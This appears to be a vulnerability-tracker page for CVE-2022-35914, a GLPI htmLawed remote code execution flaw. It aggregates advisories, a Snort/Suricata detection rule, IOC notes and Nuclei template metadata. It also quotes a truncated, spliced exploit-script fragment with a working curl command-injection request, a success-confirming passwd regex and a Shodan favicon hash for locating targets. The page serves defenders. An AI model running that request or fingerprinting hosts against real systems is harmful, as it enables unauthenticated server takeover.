CVE-2022-35914
published 2022-09-19CVE-2022-35914: /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.
PriorityP196critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2023-03-28
Exploited in the wild
EPSS
99.63%
99.9th percentile
/vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module for GLPI through 10.0.2 allows PHP code injection.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| glpi-project | glpi | <= 10.0.2 | — |
Detection & IOCsextracted from sources · hover to see the quote
snort
alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS GLPI Unauthenticated PHP Code Injection via htmlawed Module (CVE-2022-35914)"; flow:established,to_server; http.uri; content:"/vendor/htmlawed/htmlawed/htmLawedTest.php"; fast_pattern; http.request_body; content:"token|3d|"; content:"text|3d|"; content:"hhook|3d|exec"; content:"sid|3d|"; reference:url,packetstorm.news/files/id/169501; reference:cve,2022-35914; classtype:web-application-attack; sid:2067154; rev:1; metadata:affected_product GLPI, attack_target Server, tls_state TLSDecrypt, created_at 2026_01_28, cve CVE_2022_35914, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_severity Major, tag Exploit, updated_at 2026_01_28, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application; target:dest_ip;)
- →Exploit targets the unauthenticated endpoint POST /vendor/htmlawed/htmlawed/htmLawedTest.php with POST body parameters 'hhook', 'text', and 'sid'; no authentication is required. ↗
- →Successful RCE response body contains output matching 'root:.*:0:0:' (passwd file content); use this regex as a response matcher to confirm exploitation. ↗
- →GLPI instances can be fingerprinted via Shodan favicon hash -1474875778 or FOFA icon_hash=-1474875778 to identify exposed targets. ↗
- →The Snort/ET rule (sid:2067154) inspects HTTP request body for co-occurrence of 'token=', 'text=', 'hhook=exec', and 'sid=' to detect exploitation.
- ·The vulnerability is unauthenticated — no credentials or session token are needed; the 'sid=foo' cookie and POST parameter are attacker-supplied arbitrary values, not a valid session. ↗
- ·The Snort rule requires TLS decryption (tls_state TLSDecrypt / deployment SSLDecrypt) to detect exploitation over HTTPS.
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
VulnCheck
Teclib GLPI Remote Code Execution Vulnerability
vulncheck·2022·CVSS 9.8
CVE-2022-35914 [CRITICAL] CWE-74 Teclib GLPI Remote Code Execution Vulnerability
Teclib GLPI Remote Code Execution Vulnerability
Teclib GLPI contains a remote code execution vulnerability in the third-party library, htmlawed.
Affected: Teclib GLPI
Required Action: Apply updates per vendor instructions.
Exploitation References: https://glpi-project.org/security-update-10-0-3-and-9-5-9/; https://twitter.com/Shadowserver/status/1580475994590220288; https://web.archive.org/web/20230318134256/https://unit42.paloaltonetworks.com/network-security-trends-aug-oct-2022/; https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-001.pdf; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://www.microsoft.com/content/dam/microsoft/final/en-us/microsoft-brand/documents/MDDR_FINAL_2023_1004.pdf; https://dashboard.shadowserver.org/statistics/hone
CISA
Teclib GLPI Remote Code Execution Vulnerability
cisa·2023-03-07·CVSS 9.8
CVE-2022-35914 [CRITICAL] CWE-74 Teclib GLPI Remote Code Execution Vulnerability
Vulnerability: Teclib GLPI Remote Code Execution Vulnerability
Affected: Teclib GLPI
Teclib GLPI contains a remote code execution vulnerability in the third-party library, htmlawed.
Required Action: Apply updates per vendor instructions.
Notes: https://glpi-project.org/fr/glpi-10-0-3-disponible/, http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed.; https://nvd.nist.gov/vuln/detail/CVE-2022-35914
Remediation Due Date: 2023-03-28
Suricata
ET WEB_SPECIFIC_APPS GLPI Unauthenticated PHP Code Injection via htmlawed Module (CVE-2022-35914)
suricata·2026-01-28·CVSS 9.8
CVE-2022-35914 [CRITICAL] ET WEB_SPECIFIC_APPS GLPI Unauthenticated PHP Code Injection via htmlawed Module (CVE-2022-35914)
ET WEB_SPECIFIC_APPS GLPI Unauthenticated PHP Code Injection via htmlawed Module (CVE-2022-35914)
Rule: alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS GLPI Unauthenticated PHP Code Injection via htmlawed Module (CVE-2022-35914)"; flow:established,to_server; http.uri; content:"/vendor/htmlawed/htmlawed/htmLawedTest.php"; fast_pattern; http.request_body; content:"token|3d|"; content:"text|3d|"; content:"hhook|3d|exec"; content:"sid|3d|"; reference:url,packetstorm.news/files/id/169501; reference:cve,2022-35914; classtype:web-application-attack; sid:2067154; rev:1; metadata:affected_product GLPI, attack_target Server, tls_state TLSDecrypt, created_at 2026_01_28, cve CVE_2022_35914, deployment Perimeter, deployment Internal, deployment SSLDecrypt, confidence High, signature_sev
Exploit-DB
htmlLawed 1.2.5 - Remote Code Execution (RCE)
exploitdb·2024-05-19·CVSS 9.8
CVE-2022-35914 [CRITICAL] htmlLawed 1.2.5 - Remote Code Execution (RCE)
htmlLawed 1.2.5 - Remote Code Execution (RCE)
---
# Exploit Title: htmlLawed 1.2.5 - Remote Code Execution (RCE)
# Date: 2024-04-24
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: -c \n"
exit
else
banner
echo -e "\n[+] Command output:"
fi
curl -s -d "sid=foo&hhook=exec&text=${CMD}" -b "sid=foo" ${URL} | egrep '\ \[[0-9]+\] =\>'| sed -E 's/\ \[[0-9]+\] =\> (.*)/\1/'
Metasploit
GLPI htmLawed php command injection
metasploit
GLPI htmLawed php command injection
GLPI htmLawed php command injection
This exploit takes advantage of a unauthenticated php command injection available from GLPI versions 10.0.2 and below to execute a command.
Nuclei
GLPI <=10.0.2 - Remote Command Execution
nuclei·CVSS 9.8
CVE-2022-35914 [CRITICAL] GLPI <=10.0.2 - Remote Command Execution
GLPI <=10.0.2 - Remote Command Execution
GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
Template:
id: CVE-2022-35914
info:
name: GLPI <=10.0.2 - Remote Command Execution
author: For3stCo1d,allendemoura
severity: critical
description: |
GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
remediation: |
Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.
reference:
- https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914
- https://github.com/
http://packetstormsecurity.com/files/169501/GLPI-10.0.2-Command-Injection.htmlhttp://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawedhttps://github.com/Orange-Cyberdefense/CVE-repository/https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/POC_2022-35914.shhttps://github.com/glpi-project/glpi/releaseshttps://glpi-project.org/fr/glpi-10-0-3-disponible/https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914/http://packetstormsecurity.com/files/169501/GLPI-10.0.2-Command-Injection.htmlhttp://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawedhttps://github.com/glpi-project/glpi/releaseshttps://glpi-project.org/fr/glpi-10-0-3-disponible/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-35914
2022-09-19
Published
2023-03-07
Added to CISA KEV
Exploited in the wild